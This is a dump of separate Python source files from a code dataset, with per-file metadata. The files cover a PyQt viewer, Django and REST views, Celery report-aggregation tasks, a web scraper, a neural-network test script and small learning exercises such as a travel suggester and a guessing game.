self.ui.cbInterval.currentText()\n\n if text == \"-----\":\n self.ui.cbInterval.setCurrentIndex(self.previousIndex)\n elif i != self.previousIndex:\n self.previousIndex = i\n if text[-1] == \"s\":\n interval = text.replace(\"s\", \"S\")\n elif text[-1] == \"m\":\n interval = text.replace(\"m\", \"T\")\n elif text[-1] == \"h\":\n interval = text.replace(\"h\", \"H\")\n self.visualizer.setInterval(interval)\n\n self.ui.centralwidget.setFocus()\n\n @QtCore.pyqtSlot()\n def updatePlot(self):\n self.visualizer.refresh()\n\n\nif __name__ == \"__main__\":\n qapp = QtWidgets.QApplication.instance()\n if not qapp:\n qapp = QtWidgets.QApplication(sys.argv)\n\n app = ApplicationWindow()\n # app.showMaximized()\n app.show()\n app.activateWindow()\n app.raise_()\n qapp.exec_()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300877994","text":"\nfrom django.db import models\n\n# Create your models here.\nfrom dao.mst_research import MstResearch\nfrom dao.mst_lab_members import MstLabMembers\nfrom MySQLdb.cursors import DictCursor\nimport sys\nsys.path.append(\"../../dao\")\n\nclass ResearchModel():\n\n\n def __init__(self):\n\n self.mst_research = MstResearch()\n self.mst_lab_members = MstLabMembers()\n\n\n \"\"\"\n ユーザの研究一覧を取得する\n \"\"\"\n def get_own_research_list(self, id):\n\n research_list = []\n result = self.mst_research.get_list_by_member_id(id)\n\n for research in result:\n \n data = {\n \"uuid\" : research[\"research_uuid\"],\n \"id\" : research[\"research_id\"],\n \"title\" : research[\"research_title\"],\n \"purpose\": research[\"research_purpose\"],\n \"member\" : research[\"member_uuid\"],\n }\n\n research_list.append(data)\n\n return research_list\n \n\n \"\"\"\n 研究室の研究一覧を取得する\n \"\"\"\n def get_lab_research_list(self, member_id, lab_id):\n\n research_list = []\n result = self.mst_research.get_list_by_lab_id(lab_id)\n\n for research in result:\n\n # if research[\"member_uuid\"] == id:\n # continue\n\n uuid = research[\"member_uuid\"]\n \n member = self.mst_lab_members.get_row_by_uuid(uuid)\n\n try:\n name = member[\"member_name\"]\n\n except:\n continue\n\n research_list.append({\n \"uuid\": research[\"research_uuid\"],\n \"id\" : research[\"research_id\"],\n \"title\": research[\"research_title\"],\n \"purpose\": research[\"research_purpose\"],\n \"member\": uuid,\n \"name\": name,\n \"isOwn\": member_id == uuid\n })\n\n # print(research_list)\n return research_list\n\n ","sub_path":"content/django/research_management_api/research/index_models.py","file_name":"index_models.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45688510","text":"from collections import namedtuple\nfrom datetime import datetime, timedelta\nimport logging\nimport os\n\nfrom celery.schedules import crontab\nfrom celery.task import periodic_task, task\nfrom dateutil.relativedelta import relativedelta\nfrom django.conf import settings\nfrom django.db import Error, connections\n\nfrom corehq.apps.userreports.models import get_datasource_config\nfrom corehq.apps.userreports.util import get_indicator_adapter\nfrom corehq.form_processor.interfaces.dbaccessors import CaseAccessors\nfrom corehq.form_processor.change_publishers import publish_case_saved\nfrom corehq.util.decorators import serial_task\nfrom corehq.util.soft_assert import soft_assert\nfrom dimagi.utils.chunked import chunked\nfrom dimagi.utils.logging import notify_exception\n\ncelery_task_logger = logging.getLogger('celery.task')\n\nUCRAggregationTask = namedtuple(\"UCRAggregationTask\", ['type', 'date'])\n\n\n@periodic_task(run_every=crontab(minute=0, hour=21), acks_late=True, queue='background_queue')\ndef run_move_ucr_data_into_aggregation_tables_task(date=None):\n move_ucr_data_into_aggregation_tables.delay(date)\n\n\n@serial_task('move-ucr-data-into-aggregate-tables', timeout=30 * 60, queue='background_queue')\ndef move_ucr_data_into_aggregation_tables(date=None, intervals=3):\n date = date or datetime.utcnow().date()\n monthly_date = date.replace(day=1)\n if hasattr(settings, \"ICDS_UCR_DATABASE_ALIAS\") and settings.ICDS_UCR_DATABASE_ALIAS:\n with connections[settings.ICDS_UCR_DATABASE_ALIAS].cursor() as cursor:\n\n path = os.path.join(os.path.dirname(__file__), 'migrations', 'sql_templates', 'create_functions.sql')\n celery_task_logger.info(\"Starting icds reports create_functions\")\n with open(path, \"r\") as sql_file:\n sql_to_execute = sql_file.read()\n cursor.execute(sql_to_execute)\n celery_task_logger.info(\"Ended icds reports create_functions\")\n\n path = os.path.join(os.path.dirname(__file__), 'sql_templates', 'update_locations_table.sql')\n celery_task_logger.info(\"Starting icds reports update_location_tables\")\n with open(path, \"r\") as sql_file:\n sql_to_execute = sql_file.read()\n cursor.execute(sql_to_execute)\n celery_task_logger.info(\"Ended icds reports update_location_tables_sql\")\n\n aggregation_tasks = []\n\n for interval in range(intervals - 1, -1, -1):\n calculation_date = (monthly_date - relativedelta(months=interval)).strftime('%Y-%m-%d')\n aggregation_tasks.append(UCRAggregationTask('monthly', calculation_date))\n\n aggregation_tasks.append(UCRAggregationTask('daily', date.strftime('%Y-%m-%d')))\n aggregate_tables.delay(aggregation_tasks[0], aggregation_tasks[1:])\n\n\n@task(queue='background_queue', bind=True, default_retry_delay=15 * 60, acks_late=True)\ndef aggregate_tables(self, current_task, future_tasks):\n aggregation_type = current_task.type\n aggregation_date = current_task.date\n\n if aggregation_type == 'monthly':\n path = os.path.join(os.path.dirname(__file__), 'sql_templates', 'update_monthly_aggregate_tables.sql')\n elif aggregation_type == 'daily':\n path = os.path.join(os.path.dirname(__file__), 'sql_templates', 'update_daily_aggregate_table.sql')\n else:\n raise ValueError(\"Invalid aggregation type {}\".format(aggregation_type))\n\n if hasattr(settings, \"ICDS_UCR_DATABASE_ALIAS\") and settings.ICDS_UCR_DATABASE_ALIAS:\n with connections[settings.ICDS_UCR_DATABASE_ALIAS].cursor() as cursor:\n with open(path, \"r\") as sql_file:\n sql_to_execute = sql_file.read()\n celery_task_logger.info(\n \"Starting icds reports {} update_{}_aggregate_tables\".format(\n aggregation_date, aggregation_type\n )\n )\n\n try:\n cursor.execute(sql_to_execute, {\"date\": aggregation_date})\n except Error as exc:\n notify_exception(\n None,\n message=\"Error occurred during ICDS aggregation\",\n details={\n 'type': aggregation_type,\n 'date': aggregation_date,\n 'error': exc,\n }\n )\n self.retry(exc=exc)\n\n celery_task_logger.info(\n \"Ended icds reports {} update_{}_aggregate_tables\".format(\n aggregation_date, aggregation_type\n )\n )\n\n if future_tasks:\n aggregate_tables.delay(future_tasks[0], future_tasks[1:])\n else:\n # temporary soft assert to verify it's completing\n _soft_assert = soft_assert(to='{}@{}'.format('jemord', 'dimagi.com'))\n _soft_assert(False, \"Aggregation completed on {}\".format(settings.SERVER_ENVIRONMENT))\n celery_task_logger.info(\"Aggregation has completed\")\n\n\n@periodic_task(\n queue='background_queue',\n run_every=crontab(day_of_week='sunday', minute=0, hour=21),\n acks_late=True\n)\ndef recalculate_stagnant_cases():\n domain = 'icds-cas'\n config_ids = [\n 'static-icds-cas-static-ccs_record_cases_monthly',\n 'static-icds-cas-static-ccs_record_cases_monthly_v2',\n 'static-icds-cas-static-ccs_record_cases_monthly_tableau_v2',\n 'static-icds-cas-static-child_cases_monthly',\n 'static-icds-cas-static-child_cases_monthly_v2',\n 'static-icds-cas-static-child_cases_monthly_tableau_v2',\n ]\n\n stagnant_cases = set()\n\n for config_id in config_ids:\n config, is_static = get_datasource_config(config_id, domain)\n adapter = get_indicator_adapter(config)\n case_ids = _find_stagnant_cases(adapter)\n celery_task_logger.info(\n \"Found {} stagnant cases in config {}\".format(len(case_ids), config_id)\n )\n stagnant_cases = stagnant_cases.union(set(case_ids))\n celery_task_logger.info(\n \"Total number of stagant cases is now {}\".format(len(stagnant_cases))\n )\n\n case_accessor = CaseAccessors(domain)\n num_stagnant_cases = len(stagnant_cases)\n current_case_num = 0\n for case_ids in chunked(stagnant_cases, 1000):\n current_case_num += len(case_ids)\n cases = case_accessor.get_cases(list(case_ids))\n for case in cases:\n publish_case_saved(case, send_post_save_signal=False)\n celery_task_logger.info(\n \"Resaved {} / {} cases\".format(current_case_num, num_stagnant_cases)\n )\n\n\ndef _find_stagnant_cases(adapter):\n stagnant_date = datetime.utcnow() - timedelta(days=45)\n table = adapter.get_table()\n query = adapter.get_query_object()\n query = query.with_entities(table.columns.doc_id).filter(\n table.columns.inserted_at <= stagnant_date\n ).distinct()\n return query.all()\n","sub_path":"custom/icds_reports/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"508521162","text":"def image(activity):\n if activity == \"Shopping\":\n return \"https://cdn.vox-cdn.com/thumbor/pkA5HyV81YeDEWwLxbgreubS8W8=/0x0:6048x4032/1200x800/filters:focal(3747x1737:4713x2703)/cdn.vox-cdn.com/uploads/chorus_image/image/58384919/GettyImages_463173435.0.jpg\"\n elif activity == \"Dining\":\n return \"https://manofmany.com/wp-content/uploads/2016/09/Fine-Dining.jpg\"\n elif activity == \"Sightseeing\":\n return \"https://www.holidayrepresentations.com/blog/wp-content/uploads/2018/03/multiple-places-around-the-world.jpg\"\n else:\n return \"\"\n \n\ndef nyc_activity(activity, walking, crowds):\n if activity == \"Shopping\":\n if walking == \"True\" and crowds == \"False\":\n return \"Shopping along Madison Avenue in Manhattan\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Shopping in Bloomingdales or Barneys\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Shopping in Soho\"\n else:\n return \"Shopping in Soho (make sure to go on a weekday!)\"\n elif activity == \"Dining\":\n if walking == \"True\" and crowds == \"False\":\n return \"Buy a picnic from Gourmet Garage and head to Central Park\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Grab some hotdogs and eat on the steps of the Met\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Head to Columbus Circle and have a sit down dinner\"\n else:\n return \n elif activity == \"Sightseeing\":\n if walking == \"True\" and crowds == \"False\":\n return \"Go to the Brooklyn Promenade and take in Manhattan's skyline\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Head to the top floor of the Empire State building and take in the view\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Go for a walk on the Highline\"\n else:\n return \"Schedule a bus tour on New York City\"\n else:\n return \"Sorry there was an error please try again\"\n\n\ndef rome_activity(activity, walking, crowds):\n if activity == \"Shopping\":\n if walking == \"True\" and crowds == \"False\":\n return \"Walk along Via Urbana and Via del Boschetto\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Go shopping at Centro Commerciale Porta di Roma\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Walk along Via del Corso\"\n else:\n return \"Go shopping at Centro Commerciale Porta di Roma\"\n elif activity == \"Dining\":\n if walking == \"True\" and crowds == \"False\":\n return \"Walk through Trastevere and check out all the hip restaurants and bars\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Have lunch at La Moretta and then check out the nearby Tiber River\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Explore the Spanish Steps and then head to Ginger Sapori e Salute for dinner\"\n else:\n return \"Walk through the smaller streets around the Trevi Fountain and try a local panino shop\"\n elif activity == \"Sightseeing\":\n if walking == \"True\" and crowds == \"False\":\n return \"Go for a bike ride or walk along the Via Appia\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Take a guided tour of the Pantheon\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Take a walking tour of the most beautiful fountains in Rome (be sure to see the Trevi Fountain and the Fontana dei Quattro Fiumi!)\"\n else:\n return \"Rent a golf cart and go for a ride through the Villa Borghese gardens\"\n else:\n return \"Sorry there was an error please try again\"\n\ndef brussels_activity(activity, walking, crowds):\n if activity == \"Shopping\":\n if walking == \"True\" and crowds == \"False\":\n return \"Walk along Avenue Louise.\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Gos shop at Anspach\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Visit the Galerie du Roi\"\n else:\n return \"Shop online before going to stores.\"\n elif activity == \"Dining\":\n if walking == \"True\" and crowds == \"False\":\n return \"Go have dinner at Rouge Tomate\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Go to Pei and Mei\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Go have some middle eastern food at Al Barmaki\"\n else:\n return \"Order room service\"\n elif activity == \"Sightseeing\":\n if walking == \"True\" and crowds == \"False\":\n return \"Go to la Place du Grand Sablon and la Place du Petit Sablon\"\n elif walking == \"False\" and crowds == \"True\":\n return \"Go to la Grand Place to visit the City Hall and the Maison du Roi\"\n elif walking == \"True\" and crowds == \"True\":\n return \"Visit Notre Dame du Sablon\"\n else:\n return \"Get on a tram and take a ride around Brussels\"\n else:\n return \"Sorry there was an error please try again\"","sub_path":"app/models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440645325","text":"# -*- coding: utf-8 -*-\n# python 2.7\nimport lxml.html\nimport datetime\nimport json\nimport requests\n\n\ndef getCA():\n url = 'http://minkabu.jp/top/stock_news'\n tree = lxml.html.parse(url)\n contents = map(lambda html: html.text, tree.xpath('//*[@id=\"ajax_update_stock_news\"]//td'))\n contents2=map(lambda html: html.text, tree.xpath('//*[@id=\"ajax_update_stock_news\"]//td/a'))\n for i in range(0,len(contents)-1,1):\n if contents[i]==None:\n contents[i]=0\n else:\n contents[i]=contents[i].encode('utf-8')\n j=0\n res=[]\n for i in range(2,len(contents)-1,5):\n if contents[i+4]==0:\n j=j+1\n else:\n update_date=contents[i]\n corp_date=contents[i+2]\n hold=contents[i+4].split(':')\n corp_rate=float(hold[0])/float(hold[1])\n corp_name=contents2[j].encode('utf-8')\n j=j+1\n jsondata={'update_date':update_date, 'corp_date':corp_date, 'corp_rate':corp_rate, 'corp_name':corp_name}\n res.append(jsondata)\n\n print(res)\n return res\n\n\ndef postDB(post_data):\n response = requests.post('http://54.199.174.85:3000/api/ca', post_data)\n\n \nif __name__ == '__main__':\n res=getCA()\n for i in range(0,len(rows),1):\n tmp=res[i]\n postDB(tmp)\n\n","sub_path":"NAVcorp_old.py","file_name":"NAVcorp_old.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"322564455","text":"import os\nimport numpy as np\nimport scipy.io as spio\nimport configparser\nfrom keras.models import model_from_json\nfrom pyflow import reader as rd\nfrom pyflow import export as fex\nimport warnings\nimport matplotlib.pyplot as plt\nimport time\nimport datetime\nimport itertools\nfrom commons import fix_labels, debinning, data_preprocessing\nfrom matplotlib import colors\n\n# free params list\nconfig = configparser.ConfigParser()\nconfig.read('settings.ini')\ntraining_file = config.get('NN', 'training_db')\ntest_file = config.get('NN', 'test_db')\nmodel_file = config.get('NN', 'model_file')\nweights_file = config.get('NN', 'weights_file')\nroot_dir = config.get('NN', 'root_dir')\noutput_dir = config.get('NN', 'output_dir')\ngate_to_filter = config.get('Training', 'gate_to_filter')\nfeature_order = config.get('Training', 'feature_order')\nfeature_order = feature_order.split(',')\n\n# loading the model\nprint('loading existing model')\nmodel = model_from_json(open(model_file).read())\nmodel.load_weights(weights_file)\n\n\n''' TEST PART '''\ndict_test = spio.loadmat(test_file)\ntest_x = dict_test['test_x']\ntest_y = dict_test['test_y']\ntest_y = fix_labels(test_x, test_y)\n# test_y = np.reshape(test_y, (test_y.shape[1],))\n\nn_test_samples, n_features = test_x.shape\nerror = 0\npatient_list = dict_test['test_patients']\nresult_list = []\nfor i in range(0, n_test_samples):\n this_test = test_x[i, :]\n this_test = np.reshape(this_test, (1, this_test.shape[0]))\n prediction = model.predict(this_test)\n ground_truth = test_y[i]\n error += np.abs(prediction - ground_truth)\n # print('{}/{} ---> pred: {} true: {}'.format(i + 1, n_test_samples, prediction, ground_truth))\n # assign all the samples to the bins\n test_file = os.path.join(root_dir, patient_list[i], '{}.xml'.format(patient_list[i]))\n xml = rd.fcmReader(test_file)\n exp = xml.loadSpecific()\n print('{}: {}'.format(patient_list[i], exp.gateOrder))\n\n mydata, mylabels = data_preprocessing(exp=exp, feature_order=feature_order, gate_to_filter=gate_to_filter)\n\n xlab = 'CD45'\n ylab = 'CD10'\n blab = 'BLASTS'\n fxlab = feature_order.index(xlab)\n fylab = feature_order.index(ylab)\n\n gateNames = [x.upper() for x in exp.gateOrder]\n gateNames = [x.replace(' ', '') for x in gateNames]\n try:\n bIdx = gateNames.index(blab)\n except ValueError:\n bIdx = None\n mylabels = np.zeros((mydata.shape[0],))\n warnings.warn('No blasts in this sample')\n if bIdx is not None:\n mylabels = mylabels[:, bIdx]\n\n blasts = mydata[mylabels == 1, :]\n non_blasts = mydata[mylabels == 0, :]\n gt_pos = blasts.shape[0]\n gt_neg = non_blasts.shape[0]\n bx = blasts[:, fxlab]\n by = blasts[:, fylab]\n nx = non_blasts[:, fxlab]\n ny = non_blasts[:, fylab]\n h1 = plt.subplot(1, 2, 1)\n plt.plot(nx, ny, '.b', alpha=0.1)\n plt.plot(bx, by, '.r', alpha=0.3)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n plt.ylim([0, 1])\n plt.xlim([0, 1])\n plt.title('Ground Truth ({0}/{1:1.3})'.format(gt_pos, gt_pos / (gt_neg + gt_pos)))\n\n lab_pred, lab_analog = debinning(mydata, prediction)\n lab_pred = lab_pred.reshape((mydata.shape[0]))\n lab_analog = lab_analog.reshape((mydata.shape[0]))\n pred_blasts = mydata[lab_pred == 1, :]\n pred_non_blasts = mydata[lab_pred == 0, :]\n pr_pos = pred_blasts.shape[0]\n pr_neg = pred_non_blasts.shape[0]\n pbx = pred_blasts[:, fxlab]\n pby = pred_blasts[:, fylab]\n pnx = pred_non_blasts[:, fxlab]\n pny = pred_non_blasts[:, fylab]\n h2 = plt.subplot(1, 2, 2)\n # mycolor = (lab_analog[i], .3, 1 - lab_analog[i])\n # mycolor1 = (1 - lab_analog[i], .3, lab_analog[i])\n plt.plot(pnx, pny, '.b', alpha=0.1)\n plt.plot(pbx, pby, '.r', alpha=0.3)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n plt.ylim([0, 1])\n plt.xlim([0, 1])\n plt.title('Predictions ({0}/{1:1.3})'.format(pr_pos, pr_pos / (pr_pos + pr_neg)))\n plt.suptitle('Binning results comparison {} - {} {} cells'.format(patient_list[i], gt_pos + gt_neg, gate_to_filter))\n outfile = os.path.join(output_dir, '{}_{}.png'.format(patient_list[i], i))\n plt.savefig(outfile)\n plt.clf()\n # plt.show()\n myres = fex.prepareReportExperiment(lab_pred, mylabels, patient_list[i])\n result_list.append(myres)\n\nt = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\nfex.printResults(result_list, os.path.join(output_dir, 'results_t{0}_{1}.txt'.format(1, t)))\nprint('Overall absolute error on test: {}'.format(error))\n","sub_path":"NnBinningRegressionTest.py","file_name":"NnBinningRegressionTest.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274781373","text":"# -*- coding: utf-8 -*-\n'''Configuration-related objects'''\n\nimport datetime\n\n__maintainer__ = 'Cezary Bartoszuk '\n__credits__ = ['Cezary Bartoszuk']\n\n\n_DEFAULT_PORT = 1138\n\n_TIMEOUT_SECONDS = 10\n\n_TIMESTAMP_YEAR = 1989\n_TIMESTAMP_MONTH = 7 # July\n_TIMESTAMP_DAY = 12\n_TIMESTAMP_HOUR = 12\n_TIMESTAMP_MINUTE = 5\n\n\nclass Config:\n '''Application configuration object.'''\n\n self_ip = '127.0.0.1'\n\n default_port = 1138\n\n timeout = 10\n\n timestamp = datetime.datetime(\n year=_TIMESTAMP_YEAR,\n month=_TIMESTAMP_MONTH,\n day=_TIMESTAMP_DAY,\n hour=_TIMESTAMP_HOUR,\n minute=_TIMESTAMP_MINUTE)\n","sub_path":"sklab/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409336415","text":"from django.contrib.auth import authenticate,logout,login\nfrom rest_framework.decorators import api_view, permission_classes, authentication_classes\nfrom django.contrib.auth.models import User\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom . import models,serializers\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework.permissions import IsAuthenticated\n\n\n@api_view(['POST'])\ndef userRegister(request):\n userSerial=serializers.UserSerializer(data=request.data)\n if userSerial.is_valid():\n userSerial.save()\n return Response({'ok':'True'},status=status.HTTP_201_CREATED)\n return Response({'ok': 'false'},status=status.HTTP_409_CONFLICT)\n\n\n\n@api_view(['POST'])\ndef userLogin(request):\n user=authenticate(\n username=request.POST['username'],\n password=request.POST['password']\n )\n if user is not None:\n login(request,user)\n return Response({'ok':'True'},status=status.HTTP_200_OK)\n else:\n return Response({'ok':'False'},status=status.HTTP_401_UNAUTHORIZED)\n\n\n@api_view(['GET'])\ndef userLogout(request):\n if request.user.is_authenticated():\n logout(request)\n return Response({'ok': 'True'},status=status.HTTP_200_OK)\n else:\n return Response({'ok': 'False'},status=status.HTTP_201_CREATED)\n\n@api_view(['GET'])\ndef projectList(request,offset):\n if request.user.is_authenticated():\n user=request.user\n catagorylist=user.catagory_set.all()\n flag=0#\n postlist=[]\n for catagory in catagorylist:\n if flag==0:\n postlist=catagory.post_set.all()\n flag=1\n else:\n postlist=postlist|catagory.post_set.all()\n if (flag == 1):\n postlist = postlist.order_by('-created')[int(offset):int(offset) + 10]\n projectlist = models.Project.objects.filter(post__in=postlist)\n eventlist = models.Event.objects.filter(post__in=postlist)\n teamlist = models.Team.objects.filter(post__in=postlist)\n projectlistserial = serializers.ProjectSerializer(projectlist, many=True)\n eventlistserial = serializers.EventSerializer(eventlist, many=True)\n teamlistserial = serializers.TeamSerializer(teamlist, many=True)\n walllistserial = {}\n walllistserial['project'] = projectlistserial.data\n walllistserial['event'] = eventlistserial.data\n walllistserial['team'] = teamlistserial.data\n return Response(walllistserial, status=status.HTTP_200_OK)\n return Response({'project': [], 'event': [], 'team': []}, status=status.HTTP_204_NO_CONTENT)\n return Response({'ok': 'False'},status=status.HTTP_204_NO_CONTENT)\n\ndef index(request):\n pass\n\n\n@api_view(['POST','GET'])\ndef example(request):\n if request.user.is_authenticated():\n return Response({'ok': 'True'},status=status.HTTP_200_OK)\n return Response({'ok': 'False'},status=status.HTTP_401_UNAUTHORIZED)\n","sub_path":"baseApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"604717393","text":"class Cars:\n def myColor(self,color):\n self.color=color\n print(self.color)\n\nclass BMW(Cars):\n def topSpeed(self,speed):\n self.speed=speed\n print(self.speed)\n\nobjcars=Cars()\nobjBMW=BMW()\n# objcars.myColor(\"Red\")\n# objcars.topSpeed(100)\nobjBMW.myColor(\"white\")\nobjBMW.topSpeed(150)\n\n ","sub_path":"day6/inheritx.py","file_name":"inheritx.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"84297026","text":"\"\"\"\nsegment between two points.\n\"\"\"\nimport struct\nfrom math import atan, pi\nfrom geo.point import Point\nfrom geo.quadrant import Quadrant\nfrom geo.coordinates_hash import CoordinatesHash\n\nclass Segment:\n \"\"\"\n oriented segment between two points.\n\n for example:\n\n - create a new segment between two points:\n\n segment = Segment([point1, point2])\n\n - create a new segment from coordinates:\n\n segment = Segment([Point([1.0, 2.0]), Point([3.0, 4.0])])\n\n - compute intersection point with other segment:\n\n intersection = segment1.intersection_with(segment2)\n\n \"\"\"\n # static attribute: common to every Segment\n scanLine = None\n scanPoint = None\n # this is a default adjuster\n # do not forget to update it with the correct one\n adjuster = CoordinatesHash()\n\n def __init__(self, points, _id=None):\n \"\"\"\n create a segment from an array of two points.\n \"\"\"\n self.endpoints = points\n self._angle = None\n self.index = _id\n self.key_cache = 0\n self.key_y = float('-inf')\n\n def copy(self):\n \"\"\"\n return duplicate of given segment (no shared points with original,\n they are also copied).\n \"\"\"\n return Segment([p.copy() for p in self.endpoints])\n\n def length(self):\n \"\"\"\n return length of segment.\n example:\n segment = Segment([Point([1, 1]), Point([5, 1])])\n distance = segment.length() # distance is 4\n \"\"\"\n return self.endpoints[0].distance_to(self.endpoints[1])\n\n def bounding_quadrant(self):\n \"\"\"\n return min quadrant containing self.\n \"\"\"\n quadrant = Quadrant.empty_quadrant(2)\n for point in self.endpoints:\n quadrant.add_point(point)\n return quadrant\n\n def svg_content(self):\n \"\"\"\n svg for tycat.\n \"\"\"\n return '\\n'.format(\n *self.endpoints[0].coordinates,\n *self.endpoints[1].coordinates)\n\n def intersection_with(self, other):\n \"\"\"\n intersect two 2d segments.\n only return point if included on the two segments.\n \"\"\"\n i = self.line_intersection_with(other)\n if i is None:\n return # parallel lines\n\n if self.contains(i) and other.contains(i):\n return i\n\n def line_intersection_with(self, other):\n \"\"\"\n return point intersecting with the two lines passing through\n the segments.\n none if lines are almost parallel.\n \"\"\"\n # solve following system :\n # intersection = start of self + alpha * direction of self\n # intersection = start of other + beta * direction of other\n directions = [s.endpoints[1] - s.endpoints[0] for s in (self, other)]\n denominator = directions[0].cross_product(directions[1])\n if abs(denominator) < 0.000001:\n # almost parallel lines\n return\n start_diff = other.endpoints[0] - self.endpoints[0]\n alpha = start_diff.cross_product(directions[1]) / denominator\n return self.endpoints[0] + directions[0] * alpha\n\n def angle(self):\n \"\"\"\n Return the angle between the segment and the abscise\n | -> pi/2\n _ -> 0\n / -> 3*pi/4\n \\\\ -> pi/4\n \"\"\"\n if self._angle is not None:\n return self._angle\n [denominator, numerator] = (self.endpoints[1] - self.endpoints[0]).coordinates\n if abs(denominator) < 0.000001:\n # almost vertical line\n self._angle = pi/2\n else:\n angle = atan(numerator/denominator)\n if angle < 0:\n angle = pi + angle\n self._angle = angle\n return self._angle\n\n def contains(self, possible_point):\n \"\"\"\n is given point inside us ?\n be careful, determining if a point is inside a segment is a difficult problem\n (it is in fact a meaningless question in most cases).\n you might get wrong results for points extremely near endpoints.\n \"\"\"\n distance = sum(possible_point.distance_to(p) for p in self.endpoints)\n return abs(distance - self.length()) < 0.000001\n\n def key(self):\n \"\"\"\n Return the key of the segment\n \"\"\"\n #pylint: disable=C0103\n # x, y, _x, _y are absiss and ordonates\n\n [x, y] = self.scanPoint.coordinates\n\n if y != self.key_y:\n point = self.line_intersection_with(Segment.scanLine)\n point = self.adjuster.hash_point(point)\n [_x, _] = point.coordinates\n self.key_cache = _x\n self.key_y = y\n\n xSegment = self.key_cache\n angle = self.angle()\n if xSegment >= x:\n return (xSegment, angle)\n else:\n return (xSegment, -angle)\n\n @staticmethod\n def changeScanPoint(y, x):\n \"\"\"\n Update the static atttributes of Segment class\n \"\"\"\n #pylint: disable=C0103\n # y is an ordonate\n Segment.scanLine = Segment([Point([0, y]), Point([1, y])])\n Segment.scanPoint = Point([x, y])\n\n def __lt__(self, other):\n return self.key() < other.key()\n\n def __le__(self, other):\n return self.key() <= other.key()\n\n\n def __eq__(self, other):\n return self.key() == other.key()\n\n def __str__(self):\n return \"Segment([\" + str(self.endpoints[0]) + \", \" + \\\n str(self.endpoints[1]) + \"])\"\n\n def __repr__(self):\n return \"[\" + repr(self.endpoints[0]) + \", \" + \\\n repr(self.endpoints[1]) + \"])\"\n\n\ndef load_segments(filename):\n \"\"\"\n loads given .bo file.\n returns a vector of segments.\n \"\"\"\n coordinates_struct = struct.Struct('4d')\n segments = []\n adjuster = CoordinatesHash()\n\n with open(filename, \"rb\") as bo_file:\n packed_segment = bo_file.read(32)\n index_segment = 0\n while packed_segment:\n coordinates = coordinates_struct.unpack(packed_segment)\n raw_points = [Point(coordinates[0:2]), Point(coordinates[2:])]\n adjusted_points = [adjuster.hash_point(p) for p in raw_points]\n segments.append(Segment(adjusted_points, index_segment))\n packed_segment = bo_file.read(32)\n index_segment += 1\n\n return adjuster, segments\n","sub_path":"geo/segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330974190","text":"import json\nimport os \nfrom sys import argv\nfrom datetime import datetime\n\npathBaseJson= \"/home/\" + str(os.getlogin()) + \"/.local/bin/nylinuxUtil/base.json\"\npathBuildBash= \"/home/\" + str(os.getlogin()) + \"/.local/bin/nylinuxUtil/ny/build.sh\"\nname = argv[1]\nfil = open(pathBaseJson, \"r\")\npat= 1\n#print(fil.read())\njs = json.loads(fil.read())\nfor i in js[\"project\"] :\n if i[\"name\"] == name:\n pat = i[\"path\"]\n print(pat)\n\nos.system(\"cd \"+ str(pat) + \" && \" + str(pathBuildBash)) \n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"ny/nyb.py","file_name":"nyb.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635985401","text":"import random\ndef play():\n print(\"You are walkingin an ice storm back to camp.\")\n print(\"You see 3 ice bridges ahead. They look dangerous.\")\n alive = True\n score = 0\n while alive:\n number = random.randint(1,3)\n print(\"Choose bridge 1, 2, or 3\")\n guess = int(input())\n if guess == number:\n print(\"Crack -- Crash -- Bye, byeeeeeeeeeee!\")\n alive = False\n elif guess != 1 and guess != 2 and guess != 3:\n score -= 1\n print(\"You stray too far from the bridges, and nearly slip off the edge. You lose a point.\")\n else:\n print(\"Nice job! You are safe for now...\")\n 